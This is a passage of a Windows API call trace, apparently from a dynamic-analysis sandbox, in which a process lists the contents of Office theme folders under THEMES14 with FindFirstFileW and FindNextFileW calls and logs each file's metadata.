ftLastWriteTime.dwLowDateTime=0xcb59ad00, ftLastWriteTime.dwHighDateTime=0x1c4d794, nFileSizeHigh=0x0, nFileSizeLow=0x216, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS.INF", cAlternateFileName="")) returned 1 [0220.518] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x885, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0220.518] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5093, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0220.519] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5093, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0220.519] FindClose (in: hFindFile=0x65bc88 | out: hFindFile=0x65bc88) returned 1 [0220.519] GetProcessHeap () returned 0x560000 [0220.519] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0220.519] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM", cAlternateFileName="")) returned 1 [0220.519] GetProcessHeap () returned 0x560000 [0220.520] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0220.520] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc88 [0220.520] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.520] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6c2ae00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5f775610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6c2ae00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xc2ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM.ELM", cAlternateFileName="")) returned 1 [0220.520] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x227, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM.INF", cAlternateFileName="")) returned 1 [0220.521] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6d2cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x618, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0220.521] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0220.521] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x80f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0220.521] FindClose (in: hFindFile=0x65bc88 | out: hFindFile=0x65bc88) returned 1 [0220.521] GetProcessHeap () returned 0x560000 [0220.521] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0220.521] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT", cAlternateFileName="")) returned 1 [0220.522] GetProcessHeap () returned 0x560000 [0220.522] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0220.522] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc88 [0220.526] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.527] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7f3db00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7f3db00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xda86, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT.ELM", cAlternateFileName="")) returned 1 [0220.527] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5fbc5df0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT.INF", cAlternateFileName="")) returned 1 [0220.527] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x785, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0220.527] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0220.527] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6b0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0220.528] FindClose (in: hFindFile=0x65bc88 | out: hFindFile=0x65bc88) returned 1 [0220.528] GetProcessHeap () returned 0x560000 [0220.528] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0220.528] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI", cAlternateFileName="")) returned 1 [0220.528] GetProcessHeap () returned 0x560000 [0220.528] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0220.528] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc88 [0220.530] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.530] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9250800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe9250800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xeafa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI.ELM", cAlternateFileName="")) returned 1 [0220.530] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x254, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI.INF", cAlternateFileName="")) returned 1 [0220.531] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xd97, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0220.531] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0220.531] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0220.531] FindClose (in: hFindFile=0x65bc88 | out: hFindFile=0x65bc88) returned 1 [0220.531] GetProcessHeap () returned 0x560000 [0220.532] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0220.532] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE", cAlternateFileName="")) returned 1 [0220.532] GetProcessHeap () returned 0x560000 [0220.532] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0220.532] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc88 [0220.535] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.535] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea563500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a61ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea563500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1a537, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE.ELM", cAlternateFileName="")) returned 1 [0220.535] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6003c730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE.INF", cAlternateFileName="")) returned 1 [0220.535] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0220.535] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0220.536] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0220.536] FindClose (in: hFindFile=0x65bc88 | out: hFindFile=0x65bc88) returned 1 [0220.536] GetProcessHeap () returned 0x560000 [0220.536] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0220.536] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON", cAlternateFileName="")) returned 1 [0220.536] GetProcessHeap () returned 0x560000 [0220.536] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0220.537] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc08 [0220.728] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.754] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb876200, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb876200, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec9, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON.ELM", cAlternateFileName="")) returned 1 [0220.755] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON.INF", cAlternateFileName="")) returned 1 [0220.755] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0220.755] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0220.755] FindNextFileW (in: hFindFile=0x65bc08, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, 